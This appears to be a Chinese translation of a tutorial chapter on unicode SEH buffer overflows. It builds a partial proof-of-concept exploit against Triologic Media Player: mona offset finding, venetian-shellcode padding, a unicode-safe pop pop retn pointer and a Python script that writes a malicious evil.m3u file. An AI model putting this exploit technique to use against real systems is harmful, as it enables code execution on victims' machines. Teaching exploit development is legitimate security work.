- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Nseh 和 SEH
这部分我们要处理 SEH 和 unicode,很多 unicode 的漏洞都是基于 SEH 利用的,像往常一样用 metsaploit 模式字符串替换。
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 [...snip...]
需要提及的是,至少在我的机器,当我用!mona 搜索 metasploit 模式字符串被卡住了(一直 Searching…). 幸运的是这发生在我们得到结果后. 你可以看到下面的截图(不完全) 分析。
从上图可以看到 SEH 被两个字节(记住传入 2 字节会转化为 4 字节的 uniocde) 覆写, 536 字节覆盖到 SEH. 因此新的缓冲区像下面这样:
buffer = "\x90"*536 + [SEH] + "B"*4464 buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464
由于某种原因上面上面的偏移不准确(可能是 immunity 在分析的时候卡住了). 经过一会测试我发现差两个字节,正确的布局应该是下面这样:
buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462 buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462
重新打开这个 POC, shift+f9 忽略初始异常后,可以看到 eip 被 DD’s 覆写(DD=0x4444 由于 unicode 变成 0x00440044). 继续下去之前我需要解释几件事. 一般上基于 SEH 的利用我们想要(1) 找一个指向 pop pop retn 的指针 (2)nSEH 写入短跳转指令跳过 SEH. 如果你还不了解这些我建议你看本系列教程的第三部分. Unicode SEH 利用略有不同. 我们会用 pop pop retn 覆写 SEH 但不可能用短跳转指令覆写 Nseh.
继续之前我们看看 unicode 指令是如何对齐的
ASCII ==> ...AAAA... Unicode ==> ...0041004100410041... But lets see what this looks like when it gets translated to instructions: ... 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL ... So this is very very interesting! It seems like one byte will remain intact and the following byte will "absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple of candidates to absorb these 00's (these won't always be suitable): 006E00 ADD BYTE PTR DS:[ESI],CH 006F00 ADD BYTE PTR DS:[EDI],CH 007000 ADD BYTE PTR DS:[EAX],DH 007100 ADD BYTE PTR DS:[ECX],DH 007200 ADD BYTE PTR DS:[EDX],DH 007300 ADD BYTE PTR DS:[EBX],DH
回到 Nseh, 既然不能覆写短跳转指令,那么就用一些无害指令替换,执行后不会破坏我们的缓冲区. 像下面这样:
nSEH = "\x41\x71" SEH = ????? buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462
还剩两个问题
(1) 找一条 unicode 兼容的 pop pop retn 指令地址替换 SEH
(2) 这个地址同样应该是无害的(=头痛). 幸运的是我们可以让 Mona 帮助我们找到合适的地址. 看下面的截图:
我测试了所有 11 条指针只有一条是合适的。
Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe) Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462
下面两个截图显示执行到 pop pop retn 并返回,重新整理下 POC
#!/usr/bin/python -w filename="evil.m3u" #---------------------SEH-Structure---------------------# #nSEH => \x41\x71 => 41 INC ECX # # 0071 00 ADD BYTE PTR DS:[ECX],DH # #SEH => \xF2\x41 => F2: PREFIX REPNE: # # 0041 00 ADD BYTE PTR DS:[ECX],AL # #-------------------------------------------------------# #0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe # #-------------------------------------------------------# SEH = "\x41\x71" + "\xF2\x41" boom = SEH #more to come buffer = "\x90"*536 + boom + "B"*(4466-len(boom)) textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
我们已经成功绕过 unicode SEH 结构. 深吸一口气,拍拍自己的背呵呵,如果你还不理解这些内容的话我建议你看看 Phrack 的文章, corelan 的 unicode 教程也值得一读。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论